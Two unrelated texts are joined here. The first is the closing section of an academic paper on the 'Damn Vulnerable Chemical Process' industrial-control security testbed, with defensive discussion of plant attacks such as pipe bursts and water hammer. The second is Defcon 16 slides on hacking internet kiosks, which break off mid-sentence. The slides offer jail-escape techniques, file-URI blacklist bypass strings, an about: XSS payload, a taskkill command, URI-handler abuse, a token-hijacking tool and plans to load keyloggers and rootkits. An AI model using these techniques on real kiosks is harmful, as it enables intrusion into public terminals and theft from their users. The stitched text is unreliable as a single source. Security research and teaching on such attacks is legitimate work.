approach for identifying malicious activity that involves the use of a path authentication mechanism in combination with state estimation for anomaly detection. The approach reasons conjointly over computational structures, and opera- tions and physical states. Attack detection at the control layer are described e.g. in [7] and [44]. Figure 7.10: Layers of cyber-physical system • Financial impact. Operational targets and security requirements may conflict and have to be considered in conjunction. In many processes the optimal reaction rate is achieved when the reactor is operated at a high pressure. For instance, for TE process it was shown that the optimal operating steady state condition for reactor pressure Preac is as close as possible to the upper shutdown limit of 3000kPa and for reactor level Lreac to its lower bound [47]. In this case the attacker will be able to bring the system into an unsafe state quickly. To ensure secure operations it would be desirable to maintain a sufficient safety margin. However, maintaining a safety margin for Preac of at least 100 kPa is equivalent to a 5% increase in operating costs [49]. This is a useful optimization problem to solve. The requirements to safety margins will also depend on how fast process operators and control system can detect and resolve the potentially unsafe situation. • Human response. Requirement for better human responses to abnormal situations is a recog- nized industrial problem [1]. Many safety accidents happen because of the non-identification or late identification of process degradation as well as because of wrong corrective actions. Operators could be trained to recognize abnormalities which might be caused by intentional manipulations (in contrast to natural events) and to e.g. divert irregularities away from production- or safety-critical to non critical variables. For those who are interested in cognitive sciences can study perception and reaction of the process operators to abnormal situations and hopefully come up with better monitoring and reacting procedures. Similarly, the models can be used for testing HMI design decisions in conjunction with optimal presentations of the 7.3 Potential applications 45 security metrics to the process operators. • Safety measures. Safety systems have the critical function of detecting dangerous or haz- ardous conditions and taking actions to prevent catastrophic consequences on the users and the environment. Process Hazards Analysis (PHA) or Hazard and Operability (HAZOP) studies of processes seek to identify malfunctions that might harm the people, process, or the environment. Quantitative and Qualitative Risk Analysis (QRA) is used to evaluate the actual risk to measurable criteria like financial exposure or the probability of failure. The industrial control community has substantial experience in identifying and addressing potential hazards and operational problems in terms of plant design and human error. In today’s cyber security threat environment, it becomes essential to add cyber security considerations to the hazards analysis. In [50] authors propose safety securing approach to security zoning for Industrial Control Systems using detectability and reachability matrices. • Cyber-physical forensics. While in its essence cyber-physical forensics is closely related to anomaly detection, there are several specific aspects which need additional solutions. E.g. sensors for collection forensic evidence: what kind of sensors (physical, networking) at which locations are needed? Studying the hard work of the attacker allows to understand what she needs to do and why. Look for the attackers where they must go: historical data, operator’s screens, PLC logic. Look at the anomalies in process data and logs. Data streams synchroniza- tion and sensor signals sampling and filtering are playing crucial role in event correlations. Thus two correlated measurements may become uncorrelated if their respective sensor signals sampled and processed differently. Data trustworthiness (or veracity) is another issue. If the forensics data cannot be trusted, the investigators may draw wrong conclusions about nature and causes of the accident. This in turn will complicate attack attribution and assignment of liabilities. There are several ways how data veracity can be violated. The verification of data can take the form of plausibility and consistency checks. • Process control security properties. There is a ruthless civil war happening in the security community about security requirements for industrial control systems. In traditional IT domain it is a well-known CIA model. It was suggested that reversing the order shall be good enough to describe security requirements for control systems. The availability was put on top to emphasize that first and for most the plant should be up and running. The counter question would be whether running but uncontrollable plant is available or not? The problem with the CIA is that those are information security properties. By definition they cannot describe and encompass all required security requirements for process control. In Section 5 we presented controlability and observability – the pillar terms of process control which are atomic in their essence. Ensuring controlability and observability is the goal of secure process control. These two security properties shall be accompanied by operability which determines the ability of the process to achieve acceptable operations. What substitutes acceptable operations depends on the specific state of the process (e.g in the presence of disturbance the process operate at suboptimal level). The relationship between process security processes is illustrated in Fig. 7.11 and their description is given in Fig. 7.12. Controllability, Observability and Operability (CO2) are useful terms to start thinking about process control security. Sensor miscalibration violates process observability property (process 46 Chapter 7. Damn Vulnerable Chemical Process Figure 7.11: Security properties of process control Operability Controllability Observability Ability to measure process state and maintain situational awareness q Visibility o Ability to monitore the process (data integriy and availablitliy) o Trustworthiness of process measurements (data veracity) q Sufficiency o Measurement of all required process parameters at the right locations o Ability to interprete the measurements q Feasibility o The process is in a controllable state o There is a control sequence which can bring process into an intendent state q Awareness o The sequence of control commands is know to the operator Ability to bring process into a desired state Ability of the plant to achieve acceptable operations q Resilience o Ability to maintain optimal operatios under attack q Survivability o Ability to maintain operations under attack, although at suboptimal level q Graceful degradation o Ability to maintain limited plant functionality to achieve safe shutdown Figure 7.12: Security properties of process control data trustworthiness). If the attacker manages to move unreacted chemicals from the reactor into the pipe, the pipe can burst because of rapidly increased pressure caused by continuing chemical reaction. If the only measurement available at this particular pipe location is flow, the operator will remain unaware of unsafe situation (insufficient measurements) until it is might be too late9 and the process becomes uncontrollable (there is no control action which could decrease the pressure and prevent pipe burst). The importance of controlability and observability for detecting and reacting to unwanted events is especially taken seriously in water distribution field [13]. Finding and removing process bottlenecks (e.g. small valve incapable to compensate for rapid change in process state) improves process operability. One 9The increase in pressure will propagate downstream and eventually will be visible in other measurements. However, the detection might happen too late for taking correcting actions. 7.3 Potential applications 47 of the approaches to improve the survivability of physical processes under cyber-attacks is resilience-aware network segmentation. As shown in [18] such network design can signifi- cantly improve the tolerance period that would give operator more time to intervene. This is a hybrid strategy when control and network configurations can be beneficially considered jointly. • Education. DVCP can be used during the security trainings to illustrate any of the process control concepts and attack strategies described in this paper. E.g. attendees can be tough how to recognize plant weaknesses from process documentation (e.g. Piping and Instrumentation Diagram). E.g. a combination of a valve and a pump is a good candidate for water hammer attack. It is possible to further study process specification to determine whether there is a potential for the attacker to practically exploit the identified process weakness (the pipe might be too thin and/or the valve to slow which won’t allow an attacker to invoke dangerous pressure transient). Damn Vulnerable Chemical Process: official logo 8. Conclusion In cyber-physical systems security we are concerned specifically with attacks that cause physical impact. To do so, the attacker has to find ways of manipulating the physical processes in the system. Cyber attacks on process networks may allow the attacker to obtain sensor readings, to manipulate sensor measurements sent to controllers and instructions sent to actuators. To appreciate the effect of such manipulations the attacker has to understand the physical part of her target. The attacker may be impeded by automatic safety measures and may not have access to observations that allow her to monitor the effect of her actions. The construction of a successful attack has to go through several stages, some can be performed in parallel, some will be performed repeatedly, and some will require expertise on the physical part of the cyber-physical system, an expertise not commonly found in the IT security community. We have demonstrated this approach in the example of a simulation of a vinyl acetate monomer plant to give some glimpses on the detours an attacker may have to take to reach her goal. Studying the hurdles the attacker has to overcome allows to understand what she needs to do and why. This knowledge useful for eliminating low hanging fruits and making exploitation harder. Analyzing processes when maliciously manipulated enables process operators to discover the weaknesses of a process design in the presence of cyber attacks. The defenders in turn gain insights which additional controls might increase the resilience of physical processes to cyber assaults. References [1] Abnormal Situation Management (ASM) Consortium. Official Website. https ://www. asmconsortium.net/. retrieved: June, 2015. [2] Dmitri Alperovitch. Revealed: Operation Shady RAT. Tech. rep. McAfee, 2011. [3] Saurabh Amin, Alvaro Cárdenas, and S Sastry. “Safe and secure networked control systems under denial-of-service attacks”. In: Hybrid Systems: Computation and Control (2009), pp. 31– 45. [4] Dillon Beresford. “Exploiting Siemens Simatic S7 PLCs”. In: Black Hat USA (2011). https: //media.blackhat.com/bh- us- 11/Beresford/BH_US11_Beresford_S7_PLCs_ Slides.pdf. [5] U.S. Chemical Safety Board. Runaway: Explosion at T2 Laboratories, 2007. http://www. youtube.com/watch?v=C561PCq5E1g. retrieved: June, 2015. 2009. [6] Richard Candell, Dhananjay Anand, and Keith A. Stouffer. “A Cybersecurity Testbed for In- dustrial Control Systems”. In: Proceedings of the 2014 Process Control and Safety Symposium. 2014. [7] Alvaro A. Cárdenas et al. “Attacks against process control systems: risk assessment, detection, and response”. In: AsiaCCS ’11. 2011, pp. 355–366. [8] Rohan Chabukswar et al. “Simulation of Network Attacks on SCADA Systems”. In: First Workshop on Secure Control Systems. 2010. [9] Rong Chen et al. A Nonlinear Dynamic Model of a Vinyl Acetate Process. http://www.isr. umd.edu/~mcavoy/VAC%20Material/. retrieved: June, 2013. [10] Rong Chen et al. “A Nonlinear Dynamic Model of a Vinyl Acetate Process”. In: Industrial & Engineering Chemistry Research 42.20 (2003), pp. 4478–4487. [11] Eric Chien and Gavin O’Gorman. The Nitro Attacks. Stealing Secrets from the Chemical Industry. Tech. rep. Symantec, 2011. 50 Chapter 8. Conclusion [12] J.P. Contreras et al. “Vinyl Acetate from Ethylene, Acetic Acid and Oxygen Industrial Plant Simulation”. In: Proceedings of the Computing and Systems Technology Division, American Institute of Chemical Engineers (AIChE) Annual Meeting. AIChE. 2009, pp. 249–259. [13] “Controllability analysis as a pre-selection method for sensor placement in water distribution systems”. In: Water Research 47.16 (2013), pp. 6097–6108. [14] Alexandre C. Dimian and Costin Sorin Bildean. Chemical Process Design: Computer-Aided Case Studies. WILEY-VCH Verlag GmbH & Co., 2008. [15] J. J. Downs and E. F. Vogel. “A plant-wide industrial process control problem”. In: Computers & Chemical Engineering 17.3 (1993), pp. 245–255. [16] Zoran Gajic and M. Lelic. Modern Control System Engineering. Prentice Hall, 1996. [17] Bela Genge and Christos Siaterlis. “Cyber-Physical Attacks: The Role of Network Parameters”. In: Interdisciplinarity in Engineering (2012), pp. 355–360. [18] Béla Genge and Christos Siaterlis. “An Experimental Study on the Impact of Network Segmentation to the Resilience of Physical Processes”. In: vol. 7289. LNCS. 2012, pp. 121– 134. [19] B. Genge et al. “Impact of network infrastructure parameters to the effectiveness of cyber attacks against industrial control systems”. In: International Journal of Computers Communi- cations & Control (2012). [20] Havex Hunts For ICS/SCADA Systems. https://www.f-secure.com/weblog/archives/ 00002718.html. [21] ICS-CERT Advisories. https://ics-cert.us-cert.gov/advisories. [22] Working Group 03 ISA99. ISA-62443-1-1. Security for Industrial Automation and Control Systems: Models and Concepts. [23] “Kinetics of ethylene combustion in the synthesis of vinyl acetate over a Pd/SiO2 catalyst”. In: Journal of Catalysis 224.1 (2004), pp. 60–68. [24] Brian Krebs. “Chinese Hackers Blamed for Intrusion at Energy Industry Giant Telvent”. In: KrebsonSecurity (2012). http://krebsonsecurity.com/tag/telvent-hack/. [25] Brian Krebs. “Security Firm Bit9 Hacked, Used to Spread Malware”. In: KrebsonSecurity (2013). http://krebsonsecurity.com/2013/02/security- firm- bit9- hacked- used-to-spread-malware/. [26] Marina Krotofil and Alvaro A. Cárdenas. “Resilience of Process Control Systems to Ccyber- Pysical Attacks”. In: vol. 8208. LNCS. 2013, pp. 166–182. [27] Marina Krotofil and Alexander Isakov. Damn Vulnerable Chemical Process - Tennessee Eastman Process. http://github.com/satejnik/DVCP-TE. [28] Marina Krotofil and Alexander Isakov. Damn Vulnerable Chemical Process - Vinyl Acetat Monomer. http://github.com/satejnik/DVCP-VAM. [29] Marina Krotofil and Jason Larsen. “What You Always Wanted and Now Can: Hacking Chemical Processes”. In: Hack in the Box Amsterdam (2015). http://conference.hitb. org/hitbsecconf2015ams/wp-content/uploads/2015/02/D2T1-Marina-Krotofil- and-Jason-Larsen-Hacking-Chemical-Processes.pdf. 51 [30] Marina Krotofil, Jason Larsen, and Dieter Gollmann. “The Process Matters: Ensuring Data Veracity in Cyber-physical Systems”. In: Proceedings AsiaCCS’15. 2015. [31] Marina Krotofil et al. “Vulnerabilities of cyber-physical systems to stale data—Determining the optimal time to launch attacks”. In: International Journal of Critical Infrastructure Protection 7.4 (2014), pp. 213–232. [32] Ralf Langner. To kill a centrifuge. Tech. rep. Langner Communications, 2013. [33] Jason Larsen. “Breakage”. In: Black Hat Federal (2007). https://www.blackhat.com/ presentations/bh-dc-08/Larsen/Presentation/bh-dc-08-larsen.pdf. [34] Jason Larsen. “Miniaturization”. In: Black Hat USA (2014). http://http://blackhat. com/docs/us-14/materials/us-14-Larsen-Miniturization.pdf. [35] Robert A. Leishear. Fluid Mechanics, Water Hammer, Dynamic Stresses, and Piping Design. ASME, 2013. [36] Éireann Leverett and Reid Wightman. “Vulnerability Inheritance Programmable Logic Con- trollers”. In: The 2nd International Symposium on Research in Grey-Hat Hacking (GreHack) (2013). [37] libmodbus Project. Official Website. http://libmodbus.org/. retrieved: June, 2013. [38] Bela G. Liptak. Instrument Engineers’ Handbook, Vol. 2: Process Control and Optimizatiol. CRC Press, 2005. [39] Michael L. Luyben and Björn D. Tyréus. “An industrial design/control study for the vinyl acetate monomer process”. In: Computers & Chemical Engineering 22.7–8 (1998), pp. 867– 877. [40] William L. Luyben, Bjorn D. Tyreus, and Michael L. Luyben. PlantwideProcess Control. McGraw-Hill, 1998. [41] McAfee et al. Global Energy Cyberattacks: "Night Dragon". Tech. rep. McAfee, 2011. [42] Thomas Richard McEvoy and Stephen D. Wolthusen. “Detecting Sensor Signal Manipulations in Non-Linear Chemical Processes”. In: Critical Infrastructure Protection IV. 2010, pp. 81– 94. [43] Thomas McEvoy and Stephen Wolthusen. “A Plant-Wide Industrial Process Control Security Problem”. In: CIP V. Vol. 367. 2011, pp. 47–56. [44] Yilin Mo, R. Chabukswar, and B. Sinopoli. “Detecting Integrity Attacks on SCADA Systems”. In: Control Systems Technology, IEEE Transactions on 22.4 (2014), pp. 1396–1407. [45] Yilin Mo, S. Weerakkody, and B. Sinopoli. “Physical Authentication of Control Systems: Designing Watermarked Control Inputs to Detect Counterfeit Sensor Outputs”. In: Control Systems, IEEE 35.1 (2015), pp. 93–109. [46] D. G. Olsen, W. Y. Svrcek, and B.R. Young. “Plantwide control study of a vinyl acetate monomer process design”. In: Chemical Engineering Communication 192.10 (2005), pp. 1243– 1257. [47] N. Lawrence Ricker. “Optimal steady-state operation of the Tennessee Eastman challenge process”. In: Computers & Chemical Engineering 19.9 (1995), pp. 949–959. 52 Chapter 8. Conclusion [48] N. Lawrence Ricker. Tennessee Eastman Challenge Archive. http://depts.washington. edu/control/LARRY/TE/download.html. retrieved: May, 2013. [49] N. Lawrence Ricker and J.H. Lee. “Nonlinear model predictive control of the Tennessee Eastman challenge process”. In: Comp. & Chem. Engineering 19.9 (1995), pp. 961–981. [50] “Safety securing approach against cyber-attacks for process control system”. In: Computers & Chemical Engineering 57 (2013), pp. 181–186. [51] Hiroya Seki et al. “Plantwide control system design of the benchmark vinyl acetate monomer production plant”. In: Computers & Chemical Engineering 34.8 (2010), pp. 1282–1295. [52] C. Siaterlis, B. Genge, and M. Hohenadel. “EPIC: A Testbed for Scientifically Rigorous Cyber- Physical Security Experimentation”. In: Emerging Topics in Computing, IEEE Transactions on 1.2 (2013), pp. 319–330. [53] Jacques F. Smuts. Process Control for Practitioners. OptiControls Inc, 2011. [54] Targeted Cyberattacks Logbook. https://apt.securelist.com. [55] The Dow Chemical Company. Product Safety Assessment: Vinyl Acetate. http://www.dow. com/productsafety/finder/vinyl.htm. retrieved: June, 2014. [56] Dieter Wimberger and John Charlton. Java Modbus Library. http://jamod.sourceforge. net/. retrieved: Apr, 2013. [57] M. Zeller. “Myth or reality - Does the Aurora vulnerability pose a risk to my generator?” In: Protective Relay Engineers, 2011 64th Annual Conference for. 2011, pp. 130–136. [58] Isaac A. Zlochower and Gregory M. Green. “The limiting oxygen concentration and flammabil- ity limits of gases and gas mixtures”. In: Journal of Loss Prevention in the Process Industries 22.4 (2009), pp. 499–505.
pdf
Hacking Internet Kiosk’s Paul Craig Defcon 16 – Las Vegas  Who am I?  Paul Craig  Principal Security Consultant.  Security-Assessment.com, Auckland, NEW ZEALAND!  Application Penetration Tester.  Devoted Hacker  Shameless Alcoholic  Email: [email protected]  www: http://www.security-assessment.com Overview  Kiosks 101  What is an Internet Kiosk.  Kiosk Software Security Model.  Hacking Internet Kiosks  Vulnerabilities in the Kiosk Security Model.  Kiosk Hacking Techniques.  Tool Release: iKAT : interactive Kiosk Attack Tool.  iKAT Officially Released at Defcon 16!  Hack any internet Kiosk in seconds.  Live Demos: Hacking Internet Kiosks with iKAT. Overview What Is An Internet Kiosk  16 Months Ago I Was Sitting in an Airport.  8 hour stop over in Hong Kong.  Queue of 3-4 people waiting to use an Internet Kiosk.  “Damn, that internet kiosk sure is popular…”  “I wonder if I could hack it. Lemon party the airport.?”  Why do I never hear about new methods of Kiosk hacking?  Kiosks are popular, but rarely appear in security publications.  Popularity + Poor Security Visibility = Good Attack Target  New Security Research Goal:  Find Every Possible Method Of Hacking an Internet Kiosk.  Become the Kiosk of Internet Kiosk Hacking! What Is An Internet Kiosk  Kiosks are Real Popular.  Internet Kiosks Found in : Airports, Train stations, Libraries, DVD Rental Stores, Corporate Building Lobbies, Convenience Stores, Post Office, Café’s. What Is An Internet Kiosk  Initial Kiosk Observations:  Hardware:  Kiosks installed in a custom hard-shell case.  Lack of physical access to the computer case.  Input devices restricted (Floppy/DVD/USB/FireWire inaccessible).  Kiosk is securely bolted to the ground, padlocked.  Machine/Cash Box access through Abloy lock. What Is An Internet Kiosk  Software.  Majority of Kiosks run commercial Kiosk software on Windows.  Linux based Kiosks exist, but Windows is more popular.  44 different commercial Kiosk products on the market.  Marketed as : “Turn your old PC into instant revenue!”  Buy $59.99 Shareware -> Install on XP -> Instant Kiosk!  Kiosk Software Essentially Skins Windows:  Windows is made to look like a Kiosk terminal.  Implements standard Windows/Internet Explorer libraries.  “Windows Functionality Wrapped In A Kiosk Candy Shell.” What Is An Internet Kiosk  Hacking Kiosk Software Is The Way  Hardware hacking too obvious/obtrusive in public places.  I need A Command Shell on Any Kiosk Terminal.  Explorer.exe, cmd.exe, command.com = I Win.  Time limited, I need shell in under 2 minutes.  My Approach:  Eight popular Windows Kiosk products virtualized.  Compared the security model of each Kiosk product.  Developed a ‘Kiosk Attack’ methodology based on findings.  Series of techniques to invoke a command shell on a Kiosk.  All tested Kiosk products were found to be vulnerable. Kiosk Security Model Kiosk Security Model  Kiosk Software is Based on a Principal of Least Privilege.  A Kiosk user must ONLY have access to browse the internet.  Kiosk software must prohibit all other activity.  Security Implemented Through Two Approaches:  Functionality Reduction.  Prohibiting access to native OS functionality.  Anything not required to browse the internet.  User Interface Sandboxing.  ‘Graphically’ jailing a user into a Kiosk interface/GUI.  Kiosk software is ran in full screen.  Start Bar/Tray Menu removed.  No ability to click out of, or escape the Kiosk browser. Kiosk Security Model  Site Kiosk – Popular Commercial Kiosk Product.  Custom Start/Menu bar.  Real Windows ‘Start’ bar is hidden.  Trapped inside a Kiosk browser.  Runs in full screen mode, no ability to close. Kiosk Security Model  Kiosk Software Proactively Monitor Usage.  Kiosks contain blacklists of prohibited activity.  Try to browse C:\  Blacklist of Modal Window Dialogs.  “Save File As”, “Open With”, “Confirm File Delete”, “Print”.  Kiosk monitors dialog titles of all in-focus Windows.  Kiosk sends WM_CLOSE message to any blacklisted window title. Kiosk Security Model  API Hooking.  Hook native OS API calls which can be used maliciously.  KillProcess(), GetCommandLineW(), AllocConsole()  Try to run cmd.exe: “Unauthorized Functionality Detected”.  Kiosk Browser ran in ‘High Security Zone’  Cannot download certain files.  ActiveX, Java often blocked.  ‘Less secure’ browser features disabled.  Watchdog Timer Monitoring Usage.  Every 5 minutes enumerate Dialog title of all processes.  Send WM_CLOSE to any blacklisted applications. Kiosk Security Model  Custom Keyboard Driver.  Disable special shortcut key combinations.  CTRL-SHIFT-ESC (Task Mgr)  CTRL-ALT-DELETE (Task Mgr)  ALT-TAB (Switch Task)  CTRL-ESC (Start Menu)  Alt-F4 (Close Application)  Modifier keys unmapped.  CTRL, Tab, ALT, ‘Start’, Function, F1-F12.  Custom Keyboard with missing keys  Custom Mouse.  No right click button! Hacking Kiosk Software Hacking Kiosk Software  Kiosk Security Model is Based on Reducing Functionality.  Reducing what we can do on the Kiosk.  Exploiting A Kiosk Requires Invoking Functionality.  Make applications launch and popup on screen.  Use the invoked applications to escape the Kiosk jail.  Kiosks Implement Blacklists.  Blacklists (by nature) are never 100%.  Only need one method of escaping the software jail.  Blacklist quality vastly varied between Kiosk products. Hacking Kiosk Software  Available Kiosk Input Vectors:  #1 – Physical Input:  Interacting with the Kiosk GUI.  Using the keyboard/mouse.  Clicking on Buttons, Graphics, Menu’s  Typing values into the URL entry bar (if present)  #2 – Remote Input:  Remote browser content, rendered from a Kiosk terminal.  Input from a website. Hacking Kiosk Software  What Do We Need To Do?  #1 – Escape The Kiosk Graphical Jail.  Minimize or close the Kiosk browser application.  Pop a command shell. : taskkill /IM KioskBrowser.exe  Enable the hidden (real) Windows Start bar.  ‘Get Back To Windows.’  #2- Download Additional Binaries to The Kiosk.  Port scanner, Metasploit, rootkit, trojan, keylogger. Hacking Kiosk Software  You Find a Kiosk in Your Local Mall.  “$1 for 2 hours internet usage”  Insert a dollar.  You Find You Are Trapped Inside a Kiosk Browser.  Right mouse button has been disabled.  Custom keyboard with only limited keys.  Feels like a Windows OS , but has a custom design/layout.  ‘Start’ bar is labelled ‘SuperKiosk’.  Only one visible button to ‘Start Browsing’ Hacking Kiosk Software  Use the URL Entry Bar (If present) To Browse The File System  HTTP libraries used by the Kiosk can browse the file-system.  Kiosk software must explicitly block local browsing attempts.  Windows is flexible.  Many ways of doing the same thing.  C:\windows\ may be blocked.  Blacklist technology starts failing about now. File:/C:/windows File:/C:\windows\ File:/C:\windows/ File:/C:/windows File://C:/windows File://C:\windows/ file://C:\windows C:/windows C:\windows\ C:\windows C:/windows/ C:/windows\ %WINDIR% %TMP% %TEMP% %SYSTEMDRIVE% %SYSTEMROOT% %APPDATA% %HOMEDRIVE% %HOMESHARE% Hacking Kiosk Software  Common Dialogs.  Windows contains ‘Common Dialog’ libraries.  Saving a file, opening a file, select font, choose colour.  COMDLG32.dll (Common Windows Dialogs Library).  COMDLG32.DLL Implements Common Windows Controls.  From COMCTL32.DLL.  File/Open, File/Save Dialogs implement the ‘File View’ control.  File View control provides full Explorer functionality.  Same control that Windows Explorer uses.  File-Open dialog = Explorer Hacking Kiosk Software  Systematically Click Every Button, Graphic, Icon In The Kiosk  Can we invoke a File - View Dialog?: ‘Attach File’ dialog  Browse the file system, launch other applications.  Retarded mouse present? No right mouse button?  Select another file with left mouse and drag it onto cmd.exe  cmd.exe will spawn. Hacking Kiosk Software  Internet Explorer ‘Image Toolbar’.  IE toolbar hovers in top-left when a large image is clicked.  Each icon of the toolbar can invoke a Common Dialog.  File/Save.  File/Print.  File/Mailto.  Open “My Pictures” in Explorer.  Present if the Kiosk is developed using Internet Explorer libraries.  Click a large image, does the Image Toolbar popup? Hacking Kiosk Software  Using the Keyboard.  Keyboard shortcuts can be used to access the host OS.  Is a custom keyboard driver present?  Are modifier keys enabled?  Keyboard shortcuts which produce common dialogs.  CTRL-B, CTRL-I (Favourites), CTRL-H (History)  CTRL-L, CTL-0 – (File/Open Dialog), CTRL-P – (Print Dialog)  CTRL-S – (Save As)  Kiosk Product Specific Keyboard Shortcut.  All Kiosk products contain a hidden Administrative/Menu.  Mash the keyboard, CTRL-ALT-F8? CTRL-ESC-F9? Hacking Kiosk Software  Browser Security Zones  Browser security model incorporates different security zones. Restricted Sites Internet Zone Intranet Zone Trusted Sites  Each zone adheres to a different security policy.  Internet zone cannot follow links to the local file system.  While Trusted Sites, Intranet Zone can.  Does The Kiosk Protect Against Access From All Zones?  Internet Zone may be configured securely. Hacking Kiosk Software  As a User On The Keyboard You Can Access all Security Zones.  URL’s must be typed into the URL bar.  About: pluggable-protocol Handler.  Belongs to the ‘Trusted Sites’ security zone.  Suffers from a Cross Site Scripting (XSS) vulnerability.  User can control content rendered in trusted security zone.  Create A Trusted Security Zone ‘File Browser’. about:<a href=C:\windows\>Click-Here</a> about:<input type=file>  Trusted security zone can follow links to the file system. Hacking Kiosk Software  Shell Protocol Handler.  Provides access to Windows web folders.  Shell:Profile  Shell:ProgramFiles  Shell:System  Shell:ControlPanelFolder  Shell:Windows  Typing each URL will spawn explorer.exe and browse the folder. Hacking Kiosk Software  How about:  shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}  Web folder by CLASSID (Windows Control Panel)  Works from WININET.DLL/MSINET.OCX Hacking Kiosk Software  The Downside to Physical Kiosk Inputs.  Kiosk software is designed to not trust the guy on the keyboard.  Kiosk User = Most Obvious Security Threat.  Opportunistic hacker in an 8 hour stop over..  Kiosk Security Model Contains a Common Oversight:  Remote websites are not factored into the security equation.  Remote websites often trusted MORE than local Kiosk users!  Kiosks Rely On the Browser Control Security Settings.  Security designed to protect users from malicious websites.  Not designed for Kiosk terminals. Hacking Kiosk Software  Available Remote Input Vectors:  Remotely hosted content, viewed by a Kiosk.  JavaScript.  Java Applets.  ActiveX.  ClickOnce applications (.NET Online Application Deployment).  Internet Zone protocol handlers.  File type handlers.  Flash, Director, Windows Media Player, Real, QuickTime, Acrobat, other browser plug-ins.  Increased Functionality = Larger Attack Surface. Hacking Kiosk Software  I need a Kiosk Hacking Website.  An online tool you visit from any Kiosk terminal.  Provides content to help an escape from any application jail.  “Sure would help me during penetration tests”  iKAT – Interactive Kiosk Attack Tool – Official Release http://ikat.ha.cked.net Hacking Kiosk Software  What Can iKAT Do?  Kiosk Reconnaissance.  JavaScript & res:// (resource) protocol handler.  Extract bitmap resources from PE executables.  Verify bitmap height, executable exists.  Provides valuable information regarding the Kiosk.  iKAT detects common commercial Kiosk products. Hacking Kiosk Software  Display Local Browser Variables.  Determine underlying browser technology.  MSINET.OCX, WINHTTP.DLL self-identify as Internet Explorer  Detect the presence of .NET  Display Remote Server Variables  Discover remote IP address of the Kiosk terminal.  Detect any additional headers being included in requests.  “Kiosk-Location: Terminal5” Hacking Kiosk Software  Invoke Dialogs with JavaScript/HTML  File Browse: <input type=file name=test>  File Save As: Javascript:document.execCommand(“SaveAs”);  File Print: Javascript:window.print(); “Print to File” - Invoke file/Open dialog.  Invoke File Print Preview ActiveX: Hacking Kiosk Software  Use Flash To Create Common Dialogs.  Adobe Flash is widely used online, plug-in typically installed.  DownloadCmd.SWF : Downloads cmd.exe to disk.  Create 3 File-View Dialogs  “Select File For Upload”  “Select File(s) For Upload”  “Select location for Download by ikat.ha.cked.net”  Common Dialog With Unique Dialog ID Title  Not standard “Choose File”, Kiosk blacklist fails again. Hacking Kiosk Software  Spawning Applications.  Can we cause an applications/processes to launch on the Kiosk.  Spawned application may contain common dialogs.  Provide additional access to the host.  Accessing Default Windows URI Handlers.  Callto://, Gopher://, HCP://, Telnet://, TN3270://, Rlogin://, LDAP://, News://, Mailto://  Click a Link to URI Handler.  <A HREF=Mailto://aaa> mailto </a>  Mailto URI handler launches (email client)  3rd party URI Handlers  MMS://, SKYPE://, SIP://, Play://, Steam://, Quicktime:// Hacking Kiosk Software  Example: HCP:// Help And Support Center  <a href=HCP://dummy> Click me </a>  Search HCP for What You Want to Launch  “Using Notepad” Provides link to spawn notepad.exe  Left Click Only! (No right click button) Hacking Kiosk Software  iKAT Provides Links to over 100 Internet Zone URI handlers.  Click, Click, Click down the list.  Determine which handlers are blocked by the Kiosk.  Invoke the handler.  Use the invoked handler to escape.  Pluggable Protocol Handlers  Contains URLs for Plugable protocols.  About:, res:, shell: Hacking Kiosk Software  Invoke Applications Using File Type Handlers.  Click on test.myfile, Windows spawns ‘myfile’ handler.  Internet Explorer supports prompt-less handler execution.  Example: Click test.wmv, Windows Media Player Spawns.  No Prompt “Are you sure you want to…”.  Kiosk blacklists detect warning prompt pop-ups!  iKAT uses DHTML/JavaScript to invoke over 100 unique file handlers. Hacking Kiosk Software  iKAT Windows Media Files.  ‘Promptness’ launching of wmplayer.exe for multiple file types.  ‘Web Enabled’ playlist.  Creates a clean web browser, inside Windows Media Player. Hacking Kiosk Software  Embed Executables Within Office Documents.  Is an Office viewer installed on the Kiosk?  Embed cmd.exe within an office document.  Supported by .DOC,.DOCX,.XLS,.XLSB,.XLSM,XLSX Hacking Kiosk Software  Malicious Java Applets:  Signed Java applets can execute local processes.  Detect if JRE is installed, using the resource protocol.  Does the Kiosk detect the security warning prompt?  “Warning – Security”  iKAT Contains Signed Kiosk Specific Java Applets.  Spawn command local shells, execute useful binaries.  Jython – GNUCITIZEN’s ‘Python in a Java Applet’. Hacking Kiosk Software  Malicious ActiveX  Safe for scripting ActiveX’s can be used to compromise a Kiosk.  Unsafe method: object.execute()  Can we install a malicious ActiveX on the Kiosk?  Execute cmd.exe?  iKAT ActiveX  Safe-for-scripting ActiveX which executes arbitrary executables.  Installing an ActiveX requires administrative permissions.  Its unlikely you will have administrative authority.  If by some chance you do, you win.  ActiveX is changing:  Internet Explorer 8 does not require admin rights for ActiveX. Hacking Kiosk Software  Malicious ClickOnce Applications  ClickOnce is .NET 2.0/3 technology (Runtime required)  Supports online application deployment. (.application)  Administrative authority not required to run!  Creates a security prompt with another unique title.  New technology: Kiosks do not prohibit “Application Run..”  Modern Kiosk software now developed in .NET (CLR is present!)  Very powerful attack vector, .NET installed, you WIN. Hacking Kiosk Software  How About Malicious ClickOnce applications?  iKAT - Embedded Web Browser.  ClickOnce Embedded Browser Control  Create a browser without less restrictions.  iKAT - Application Executor.  Attempts to spawn over 50 native Windows applications.  iKAT - Token Pincher  “Tokens are hip, lets create a ClickOnce token hijacker”  Does the Kiosk user have the SeImpersonate privilege?  Token Pincher will impersonate an available privileged token.  Pop you system shell, BooYah! Hacking Kiosk Software  How Many People Have Ever Crashed a Browser?  What About Crashing a Kiosk: ‘Emo-Kiosking’  Can we create an unhandled exception in the Kiosk browser.  Kiosk crashes, Windows freak outs, we get desktop.  Rare situation, application crash = highly critical vulnerability.  iKAT Contains Common Browser Crash Techniques.  Designed to crash common browser libraries.  Does the Kiosk detect the crash?  Application re-spawned or desktop presented?  Fastest, easiest method to escape a Kiosk. Hacking Kiosk Software  What About Crashing Browser Plug-ins.  File Format Fuzzing of .SWF (Flash) files.  “Can I create a .SWF file that reliably crashes any browser?”  Turns out yes, yes, you can.  Multiple invalid memory access read scenarios.  Divide by zero unhandled exceptions.  Immediately un-exploitable, reliable crash scenarios.  Created ‘Auto Magic Flash Crash’.  Is Flash 9 plug-in installed on the Kiosk terminal?  iKAT can crash the Kiosk, because its oh-day.  Does the Kiosk detect the crash? Or present the desktop? Downloading Tools  Lets Assume Something Worked.  You have access to the Kiosk File system.  Command shell spawned, Common Dialog, Java installed, etc  What Now?  Download additional tools/binaries.  Nmap, rootkit, funnygame.exe,  How Do You Download Files In a Tool-less Environment.  Kiosk terminal will not have a copy of wget.exe.  Internet Explorer may be uninstalled.  Kiosk browser is configured 